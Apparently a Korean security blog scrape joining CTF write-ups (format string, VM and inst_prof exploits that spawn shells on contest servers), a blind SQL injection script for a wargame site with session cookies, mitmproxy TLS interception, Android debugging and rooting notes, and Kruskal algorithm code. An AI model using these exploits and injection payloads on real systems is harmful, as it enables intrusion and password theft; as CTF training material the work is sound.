내 입력이 암호화 되어서 printf(&encrypt);이런식으로 format string bug가 유발된다. 암호화는 어렵지 않고 오버플로우는 일어나지 않는다 복호화는 그냥 암호화 식을 이용해서 z3로 풀어버렸다 오버플로우가 안나는데 fsb만 가지고 어떻게 트리거할지 고민(삽질)하던 중 리모트로 테스트해보다가 리모트 환경이 aslr이 꺼져잇는 환경이라는 걸 알아냈다;; 디버깅으로 오프셋 구해서 stack libc베이스를 구하고 system('/bin/sh')를 트리거했다.

from pwn import *
import random
#import z3
from z3 import *
table='3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF'
table_ind={}
def encrypt(input):
	out=[0,0,0]
	out[0]=table_ind[input[0]]*4+((table_ind[input[1]]&0x30)>>4)
	out[1]=table_ind[input[1]]*16+((table_ind[input[2]]&0x3C)>>2)
	out[2]=table_ind[input[3]]+((table_ind[input[2]])<<6);
	for i in range(3):
		out[i]=chr(out[i]&0xff)
	return ''.join(out)

def decrypt(d):
	w=BitVec('w',32)
	x=BitVec('x',32)
	y=BitVec('y',32)
	z=BitVec('z',32)
	s=Solver()
	s.add(w<64,x<64,y<64,z<64)
	s.add((((w*4+((x&0x30)>>4)))&0xff)==ord(d[0]))
	s.add((((x*16+((y&0x3c)>>2)))&0xff)==ord(d[1]))
	s.add((((y<<6)+z)&0xff)==ord(d[2]))
	s.check()
	return table[int(str(s.model()[w]))]+table[int(str(s.model()[x]))]+table[int(str(s.model()[y]))]+table[int(str(s.model()[z]))]


#r=remote('192.168.2.238',3333)
#raw_input()

for i in range(len(table)):
	table_ind[table[i]]=i
#print table_ind

#print decrypt("%8x") #%8x : OdXy
#print decrypt("%40") #%40 : Odbq
#print decrypt("96c") #TdjZ
#print decrypt("%38")+decrypt("$8x") # OdRyOIXy : 0xffffdc6c+0xdc : return
#payload='%143$8x%4096c'

libc_startmain=0xf7e31637-247
libc_base=libc_startmain-0x18540#0xf7e31637
system=libc_base+0x3a940
binsh=libc_base+0x15900b
stack_ret=0xffffdc6c+0x150+0x10#0xdc
payload='AAAA'

#system=0xf7e3cda0
#binsh=0xf7f5d9ab
#stack_ret=0xffffd70c
pay=''
r=remote('megan35.stillhackinganyway.nl',3535)
#r=remote('192.168.2.238',3333)
raw_input()
payload=fmtstr.fmtstr_payload(71,{stack_ret:system,stack_ret+8:binsh})+"%4096c"#,write_size='short')+'%4096c'
print payload
#payload='%38$8x'+"%4096c"
#payload='%143$8x'
#payload="AAAABBBBCCCCDDDD"+"%71$8x"#+"%4096c"
if len(payload)%3!=0:
	l=len(payload)
	payload=payload.ljust(l+3-len(payload)%3,' ')
for i in range(len(payload)/3):
	pay+=(decrypt(payload[i*3:i*3+3]))
print pay
r.sendline(pay)
r.interactive()

'CTF' 카테고리의 다른 글

[codegate 2018 final] 7amebox3  (0) 2018.04.07
[codegate2018 final]place the blanket  (0) 2018.04.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19
import requests
import time
s=requests.session()

cookie={'__cfduid':'d392d5cf39f2a1476ffb7cf441ad0da3b1501471981','PHPSESSID':'2h91mockfjn960lg20cl338712'}
password=''
#orc

def org():
	for ind in range(1,50):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php',params={"pw":"1\'||id=0x61646d696e and (select ascii(substr(pw,{},1)))={}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break
		if x==0x7f:
			print '[xx]'
			break

#orge
def orge():
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php',params={"pw":"1'||id=0x61646d696e&&(select ascii(substr(pw,{},1)))={}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break

		if x==0x7f:
			print '[xx]'
			break

#golem
#https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=123%27||id%20like%20%27admin%27%26%26ascii(mid(pw,1,1))>0%23
def golem():
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php',params={"pw":"123'||id like 'admin'&&ascii(mid(pw,{},1)) like {}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break

		if x==0x7f:
			print '[xx]'
			break

#darknight
#https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?
def darknight():
	password=''
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php',params={"pw":"123","no":"123||id like 0x61646d696e&&ord(mid(pw,{},1)) like {}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break
		if x==0x7f:
			print '[xx]'
			break
	print res
def bugbear():
	password=''
	for ind in range(1,10):
		p=0
		for x in range(7,-1,-1):
			param={"pw":"123","no":"1||no>1&&hex(mid(pw,{},1))<{}#".format(ind,hex(p+2**x)[2:])}
			res=requests.get('https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php',params=param,cookies=cookie).text
			if 'Hello admin' not in res:
				p+=2**x
		print '[**]'+chr(p)
		password+=chr(p)
		print 'password: '+password
	print res
def giant():
	password=''
	param={'shit':chr(0xb)}
	res=requests.get('https://los.eagle-jump.org/giant_9e5c61fc7f0711c680a4bf2553ee60bb.php',params=param,cookies=cookie).text
	print res
string='0123456789abcdefghijklmnopqrstuvwxyz'#ABCDEFGHIJKLMNOPQRSTUVWXYZ'
def assassin():
	password=''
	for i in range(10):
		#for x in range(0x20,0x80):
		for c in string:
			param={'pw':password+c+'%'}
			#print param
			res=requests.get('https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php',params=param,cookies=cookie).text
			#print res
			if 'Hello ' in res:
				if 'Hello admin' in res:
					x=c
					break
				x=c
		password+=x
		print 'password :'+password
		
def zombie_assassin():
	password=''
	param={'id':'guest','pw':"{}'||1#'".format(chr(0x0))}
	res=requests.get('https://los.eagle-jump.org/zombie_assassin_14dfa83153eb348c4aea012d453e9c8a.php',params=param,cookies=cookie).text
	print res

def succubus():
	password=''
	param={'id':'\\','pw':"||1=1#"}
	res=requests.get('https://los.eagle-jump.org/succubus_8ab2d195be2e0b10a3b5aa2873d0863f.php',params=param,cookies=cookie).text
	print res

def nightmare():
	password=''
	param={'pw':"')=0;{}".format(chr(0))}
	res=requests.get('https://los.eagle-jump.org/nightmare_ce407ee88ba848c2bec8e42aaeaa6ad4.php',params=param,cookies=cookie).text
	print res

def xavis():
	password=''
	for ind in range(1,51):
		p=0
		for x in range(10,-1,-1):
			param={'pw':"12'||id='admin'&&ord(substr(pw,{},1))<{}#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php',params=param,cookies=cookie).text
			#print res
			#raw_input('>')
			if 'Hello admin' not in res:
				p+=2**x
		print p
		print '[**]'+hex(p)
		password+=hex(p)[2:]+' '
		print 'password: '+password
	print res

def hexor():
	param={'id':"123' union select 2,",'pw':"#"}
	password=''
	for ind in range(1,10):
		p=0
		for x in range(7,-1,-1):
			param={'id':"123' or ascii(substr(",'pw':",{},1))<{}#".format(ind,p+2**x)}
			res=requests.get('http://13.124.1.51/web/prob15/?id=info',params=param).text
			if 'Hello guest' not in res:
				p+=2**x
		#print p
			print res
			#time.sleep(10000)
		print p
		print '[**]'+chr(p)
		password+=chr(p)
		print 'password: '+password
def dragon():
	param={'pw':"1'\n||id='admin' order by id#"}
	res=requests.get('https://los.eagle-jump.org/dragon_7ead3fe768221c5d34bc42d518130972.php',params=param,cookies=cookie).text
	print res

def iron_golem():
	password=''
	for ind in range(1,51):
		p=0#ascii(substr(pw,{},1))<{}
		for x in range(10,-1,-1):
			param={'pw':"123'||id='admin'&&(select if(ord(substr(pw,{},1))={}&&id='admin',True,(select 1 union select 2)))#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php',params=param,cookies=cookie).text
			if 'Subquery returns more than 1 row' in res:
				p+=2**x
			print res
			time.sleep(1000)
		print p
		print '[**]'+hex(p)
		password+=hex(p)[2:]+' '
		print 'password: '+password

def dark_eyes():
	password=''
	for ind in range(1,51):
		p=0
		for x in range(10,-1,-1):
			param={'pw':"123'||id='admin'&&(select ord(substr(pw,{},1))<{} union select 1)#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php',params=param,cookies=cookie).text
			
			if '
query : ' not in res: p+=2**x print p print '[**]'+chr(p) password+=chr(p) print 'password: '+password print res def umaru(): password='' param={'flag':"select 1 union select 2"} res=requests.get('https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php',params=param,cookies=cookie).text print res #hexor() #dragon() #xavis() #iron_golem() #dark_eyes() umaru() #"' or if((select id='admin' and substr(pw,1,1)='a',true,(select 1 union select 2)))


/*
 *      if you see the password column name,
 *      you will get the flag~!
 *
 */

include("./dbconfig.php");
$id = $_GET['id'];
$pw = $_GET['pw'];

if ( isset($id) || isset($pw) ) {
    if (preg_match("/info|sche|,/i", $id))
        exit("no hack ~_~");
    if (preg_match("/info|sche/i", $pw))
        exit("no hack ~_~");

    $query = "SELECT {$pw_column_name}, {$id_column_name} FROM {$table} WHERE {$id_column_name}='{$id}' AND {$pw_column_name}='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($conn ,$query));

    if ($result['id']) {
        echo "Hello {$result['id']}";
    } else {
        echo "DB error";
    }
} else {
    highlight_file(__FILE__);
}




import request

def hexor(): param={'id':"123' union select 2,",'pw':"#"} password='' for ind in range(1,10): p=0 for x in range(7,-1,-1): param={'id':"123' or ascii(substr(",'pw':",{},1))<{}#".format(ind,p+2**x)} res=requests.get('http://13.124.1.51/web/prob15/?id=info',params=param).text if 'Hello guest' not in res: p+=2**x #print p print res #time.sleep(10000) print p print '[**]'+chr(p) password+=chr(p) print 'password: '+password hexor()


'CTF' 카테고리의 다른 글

[codegate2018 final]place the blanket  (0) 2018.04.07
[sha2017]megan-35  (0) 2017.08.07
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19
[0ctf qual]EasiestPrintf  (0) 2017.05.25



fix ex


from pwn import * def dump(): return (0<<0x1c)|((3<<0x1a)&0xc000000)|((0xf<<16)&0xf0000) def setreg(ind,val): return (1<<0x1c)|((1<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|((ind<<0x17)&0x3800000)|val def movreg(src,dest): #sangsu=(0<<0x1a)&0xc0000000 return (1<<0x1c)|((0<<0x1a)&0xc000000)|((0xf<<16)&0xf0000|((dest<<0x17)&0x3800000))|((src<<0x14)&0x700000) def pad(x): return hex(x)[2:].rjust(8,'0') def push(ind,val): return (8<<0x1c)|((2<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|((ind<<0x17)&0x3800000)|val def push_s(val): return (8<<0x1c)|((3<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|val def xchg(r1,r2): return (5 << 0x1c)|(0 << 0x1a)|(r1 << 0x17)| (r2 << 0x14)|((0xf<<16)&0xf0000) def pop(ind): return (9<<0x1c)|((2<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|((ind<<0x17)&0x3800000) def sub(ind): return (7<<0x1c)|((2<<0x1a)&0xc000000)|((0xf<<16)&0xf0000)|((ind<<0x17)&0x3800000) p=process('./VM') print hex(movreg(6,0)) print hex(setreg(7,0x1234)) #p.sendline(pad(setreg(1,0x44d0))) p.sendline(pad(setreg(7,0x4030-0x30+0x80))*0x20) p.sendline(pad(dump())) p.recvuntil('0x4070 ') heapleak=int(p.recv(3)[:2],16)+0x100*int(p.recv(3)[:2],16)+0x10000*int(p.recv(3)[:2],16)+0x1000000*int(p.recv(3)[:2],16) print hex(heapleak) heapbase=heapleak-0x15cd0 log.info('heapbase : '+hex(heapbase)) p.sendline(pad(setreg(7,0x4000+0x470+0x60))) p.sendline(pad(dump())) p.recvuntil('0x44b0 ') libcleak=int(p.recv(3)[:2],16)+0x100*int(p.recv(3)[:2],16)+0x10000*int(p.recv(3)[:2],16)+0x1000000*int(p.recv(3)[:2],16)+0x100000000*int(p.recv(3)[:2],16)+0x10000000000*int(p.recv(3)[:2],16) libc=libcleak-0x3c4be8 reg_base=heapbase+0x11c20 log.info('libc : '+hex(libc)) overwrite_got=0x60c010#int(raw_input('>>'),16)#0x60c0f0#0x60c088#0x00000000060C198 begin=0x00000000060C188#0x7fe47110e000 system=libc+0x45390+0xabd87 # onegadget log.info('system'+hex(system)) off=overwrite_got-reg_base+0x100000000-0x30+2 print 'off'+hex(off) p.sendline(pad(setreg(0,off&0xffff))) p.sendline(pad(setreg(7,0x4000+4))) p.sendline(pad(push_s(off>>16))) p.sendline(pad(setreg(7,0x4000))) p.sendline(pad(xchg(0,7))) #p.sendline(pad(dump())) #p.interactive() pay='' pay+=pad(push_s(system&0xffff)) pay+=pad(pop(2)) pay+=pad(pop(2)) #p.sendline(pad(dump())) #p.interactive() print pad(pop(2)) print hex(0xffff&(system>>16)) pay+=pad(push_s((system>>16)&0xffff)) #p.sendline(pad(pop(2))) pay+=pad(pop(2)) pay+=pad(pop(2)) pay+=pad(push_s(((system>>16)>>16)&0xffff)) pay+=pad(pop(2)) pay+=pad(pop(2)) pay+=pad(push_s((((system>>16)>>16)>>16)&0xffff)) pay+=pad(movreg(7,1)) for i in range(6): pay+=pad(sub(1)) pay+=pad(dump()) raw_input('>') p.sendline(pay) print 'one :'+hex(system) #p.sendline('000f0000') p.interactive()


'CTF' 카테고리의 다른 글

[sha2017]megan-35  (0) 2017.08.07
[H3XOR]column test  (0) 2017.08.02
[2017 googlectf] inst_prof  (0) 2017.06.19
[0ctf qual]EasiestPrintf  (0) 2017.05.25
[codegate 17 final]BMP  (0) 2017.05.14

SSL TLS까지 intercept가능..짱짱


i->inptercept option -> ~q : 모든 request 캡처

intercept한놈들 중에 하나 골라서 enter

receive할 데이터 edit


ssl , tls 를 막론하고 

가능한데 facebook이나 몇몇 사이트들은 이 방법도 막아놨다고 한다.

원리는 mitmproxy의 인증서를 만들어서

중간에서 잘 처리해준다 ^ㅡ^

아래 manual에 잘 설명되어있다.

http://docs.mitmproxy.org/en/stable/howmitmproxy.html

우선 로컬에서 ndk설치

https://developer.android.com/ndk/downloads/index.html



4.9일경우 gdb도 따로 설치

https://github.com/SaberMod/android_prebuilts_gcc_linux-x86_arm_sabermod-arm-linux-androideabi-4.9/blob/master/bin/arm-linux-androideabi-gdb


~/android-ndk-r15b/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi- gdb

여기다 설치


adb shell pull로 android libc랑 app_process 를 가져온다

adb pull /system/bin/app_process

libc는 tar -cvzf /sdcard/so.tar.gz /system/lib 로 압축해서 pull

그다음 ndk에 있는 gdbserver를  push 로 android device에 넣어줌 (/system/bin폴더 등)

ps로 pid확인한다음 

gdbserver :(port) - -attach (pid)


이제 android들어가서 아까 위의 gdb를 실행 symbolic link로 글자수 줄여서 편하게 쓰면 좋음

나는 armgdb로 symbolic link


adb로 포트포워딩해줌

adb forward tcp:(port) tcp:(port)


이제 gdb에서 어태치하면 끝


armgdb app_process

set solib-search-path ~/android-ndk-r15b/systemb/lib

target remote :(port)


https://autoroot.chainfire.eu


여기서 기종검색. 다운로드


압축을 풀면 ordin과 tar.md5파일이 포함되어 있을텐데 

ordin(window program)을 키고 files ap버튼으로 누르고 tar.md5파일을 업로드


안드로이드 폰 오딘모드 진입(홈버튼+볼륨 상키+잠금버튼->볼륨상키)

usb연결(usb 통합 드라이버 설치)


start~

'모바일' 카테고리의 다른 글

android 분석 툴 정리  (0) 2017.07.07

동적

droidbox : 권한 뷰 볼수 잇음 앱의 행위들을 모니터링

APKinspector : 위험함수 경고 함수분석그래프

산토쿠 분석도구 : 종합적으로 분석도구가 마련되어있음

androlyze 권한부여된 api들의 행위 관찰 어떤메소드 사용하는지


정적

androidapkinfo

adb shell : /data/data 디렉토리 검사 중요한정보담긴 파일이 있는지 -> 암호화나 권한설정(mode_private),루트권한 디렉토리에 중요한 파일을 넣어야하ㅁ


네트워크

프록시로 버프슈트 burpsuite

wireshark

packet shark(앱)


메모리

gdb 덤프->분석

memscan(앱)


난독화 도구

proguard


진단도구

drozer

ASEF

droidsheep - 웹 세션 하이재킹 http(https가 아닌)통신을 모니터링 출력

androrisk

AFLogical : 모바일 포렌식

dSloit : MITM,네트워크 진단, 익스플로잇 진단, 오픈소스 http://update.dsploit.net/apk



monkey

안드로이드 퍼저같은 느낌

이벤트 무작위 발생시키고 로그 수집

참고 안드로이드 모바일 악성코드 분석과 모의해킹 진단 완벽가이드





jeb2
adb shell am start -D -n <패키지이름> <액티비티>
attach시키면 됌

debugging방지 돼있을때 덤프뜨는법
dex파일이 실시간으로 생겨서
메모리 덤프뜨면됨
갇낟하게 스크립트 짜면 될듯

adb shell에서 tcpdump로 네트워크 디버깅

tcpdump -X -n -s 0 -w /sdcard/capture.pcap



'모바일' 카테고리의 다른 글

안드로이드 루팅하는 법  (0) 2017.07.10


from pwn import * pad=lambda x:x.ljust(4,'\x90') asm_=lambda x:asm(x,arch='amd64') #r=process('./inst_prof') r=remote('inst-prof.ctfcompetition.com',1337) r.recvuntil('ready\n') #raw_input() p1=asm("add r12,rbx", arch = 'amd64') p2=asm("add r12,rsp",arch='amd64') p3=asm('add r12,QWORD PTR [rsp]',arch='amd64') p4=asm('mov r14,QWORD PTR [rsp]',arch='amd64') p5=asm('mov r14w,dx',arch='amd64') p6=asm('inc r14',arch='amd64') p7=asm('mov r14b,0x58',arch='amd64') print len(p1) r.send(p1+'\x90') #raw_input() libc=0x10000000000000000-u64(r.recv(8)) libc=libc/0x1000 - 0x5eafff+0x4000#+1 if libc%16 !=0: libc+=1 print hex(libc) print len(p2) r.send(pad(p2)) leak=u64(r.recv(8)) leak=0x10000000000000000-leak leak=leak/0x1000 if leak%16==6: leak+=1 print hex(leak) stack_obj=leak+1+0x70#+1 #raw_input('>') r.send(pad(p3)) leak=u64(r.recv(8)) leak=0x10000000000000000-leak leak=leak/0x1000 code=leak-0xb17#+1 if code%16 !=0: code+=1 print hex(code) extra=code%0x10000 extra=extra/0x1000 print extra r.send(pad(p4)+pad(p5)+pad(p6)*(0x202+extra)+pad(p7)) r.recv(8*(3+0x202+extra)) onegadget=libc+0xe9f2d #onegadget=libc+0xf0567 print hex(onegadget) raw_input('>') for i in range(6): p8=asm('mov BYTE PTR [r14], {}'.format('0x'+hex(onegadget)[-2:]),arch='amd64') onegadget=onegadget/0x100 r.send(pad(p8)) r.send(pad(asm('mov r14b, {}'.format(hex(0x59+i)),arch='amd64'))) r.recv(8) #r.interactive() p10=asm('mov r14,rsp',arch='amd64') r.send(pad(p10)) raw_input('?') p11=asm_('mov r14b,{}'.format(hex(stack_obj%0x100))) r.send(pad(p11)) #r.send(p5) #p5=asm('mov r14w,dx',arch='amd64') raw_input('>>') for i in range(8): p8=asm('mov BYTE PTR [r14], 0',arch='amd64') r.send(pad(p8)) print stack_obj%100+i+1 r.send(pad(asm('mov r14b, {}'.format(hex(stack_obj%0x100+i+1)),arch='amd64'))) p9=asm('mov BYTE PTR [rsp],0x54',arch='amd64') raw_input('>>>>') r.send(p9) r.interactive()










8번쨰로 푸러따 의도한 풀이는 아닌 것같다.

다른 문제에서 라이브러리를 가져와서 쉘을 땄다 ㅠ\ 


00\x00$ id

uid=1337(user) gid=1337(user) groups=1337(user)

$ ls

flag.txt

inst_prof

$ cat flag.txt

CTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}

'CTF' 카테고리의 다른 글

[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[0ctf qual]EasiestPrintf  (0) 2017.05.25
[codegate 17 final]BMP  (0) 2017.05.14
[defcon prequal 2017]magic  (0) 2017.05.12
//
//  main.cpp
//  kruskal_algo
//
//  Created by 김세희 on 2017. 5. 28..
//  Copyright © 2017년 김세희. All rights reserved.
//

#include 
#include 
#include
#include
using namespace std;

#define max 99999
int G[7][7]={{max,8,9,max,max,max,max},{8,max,max,2,11,max,max},{9,max,max,4,max,max,max},{max,2,4,max,max,7
    ,max},{max,11,max,max,max,3,10},{max,max,max,7,3,max,4},{max,max,max,max,10,4,max}};

int represent[7];
int check[7],path[7];
struct Edge{
    int v1,v2;
    int weight;
};
struct comp{
    bool operator()(struct Edge edge1,struct Edge edge2){
        return edge1.weight>edge2.weight;
    }
};
int rep_check(int v){
    if(represent[v]==-1)
        return -1;
    else if(represent[v]==v)
        return v;
    else
        return rep_check(represent[v]);
}
int main(int argc, const char * argv[]) {
    priority_queue,comp> q;
    int i,j,c,p,w,v1,v2,d=0;
    memset(represent,-1,7*sizeof(int));
    struct Edge E;
    for(i=0;i<7;i++){
        for(j=i+1;j<7;j++){
            if(G[i][j]!=max){
                E.v1=j;
                E.v2=i;
                E.weight=G[i][j];
                q.push(E);
            }
        }
    }
    while(!q.empty()){
        v1=q.top().v1;
        v2=q.top().v2;
        w=q.top().weight;
        q.pop();
        if(represent[v1]==-1&&represent[v2]==-1){
            represent[v1]=v1;represent[v2]=v1;
        }
        else if(rep_check(v1)==rep_check(v2))
            continue;
        else{
            if(represent[v1]==-1)
                represent[v1]=rep_check(v2);
            else if(represent[v2]==-1)
                represent[v2]=rep_check(v1);
            else
                represent[rep_check(v2)]=v1;
        }
        d+=w;
        printf("%c - %c diatance : %d total : %d\n",'A'+v1,'A'+v2,w,d);
    }
}





+inverse

//
//  main.cpp
//  kruskal_inverse_algo
//
//  Created by 김세희 on 2017. 5. 28..
//  Copyright © 2017년 김세희. All rights reserved.
//

#include 
#include 
#include
#include
using namespace std;

#define max 99999
int G[7][7]={{max,8,9,max,max,max,max},{8,max,max,2,11,max,max},{9,max,max,4,max,max,max},{max,2,4,max,max,7
    ,max},{max,11,max,max,max,3,10},{max,max,max,7,3,max,4},{max,max,max,max,10,4,max}};
int ch;
int represent[7];
int check[7],path[7];
struct Edge{
    int v1,v2;
    int weight;
};
struct comp{
    bool operator()(struct Edge edge1,struct Edge edge2){
        return edge1.weight,comp> q;
    int i,j,w,v1,v2,d=0,temp;
    memset(represent,0,7*sizeof(int));
    struct Edge E;
    for(i=0;i<7;i++){
        for(j=i+1;j<7;j++){
            if(G[i][j]!=max){
                E.v1=j;
                E.v2=i;
                E.weight=G[i][j];
                q.push(E);
                d+=G[i][j];
            }
        }
    }
    while(!q.empty()){
        v1=q.top().v1;
        v2=q.top().v2;
        w=q.top().weight;
        q.pop();
        temp=G[v1][v2];
        G[v1][v2]=max;G[v2][v1]=max;
        memset(check,0,7*sizeof(int));
        ch=0;
        cir(v1,v2);
        if(!ch){
            G[v1][v2]=temp;
            G[v2][v1]=temp;
            continue;
        }
        d-=w;
        printf("%c - %c diatance : %d total : %d\n",'A'+v1,'A'+v2,w,d);
    }
}


'프로그래밍 > 알고리즘' 카테고리의 다른 글

플로이드 알고리즘  (0) 2016.06.22

+ Recent posts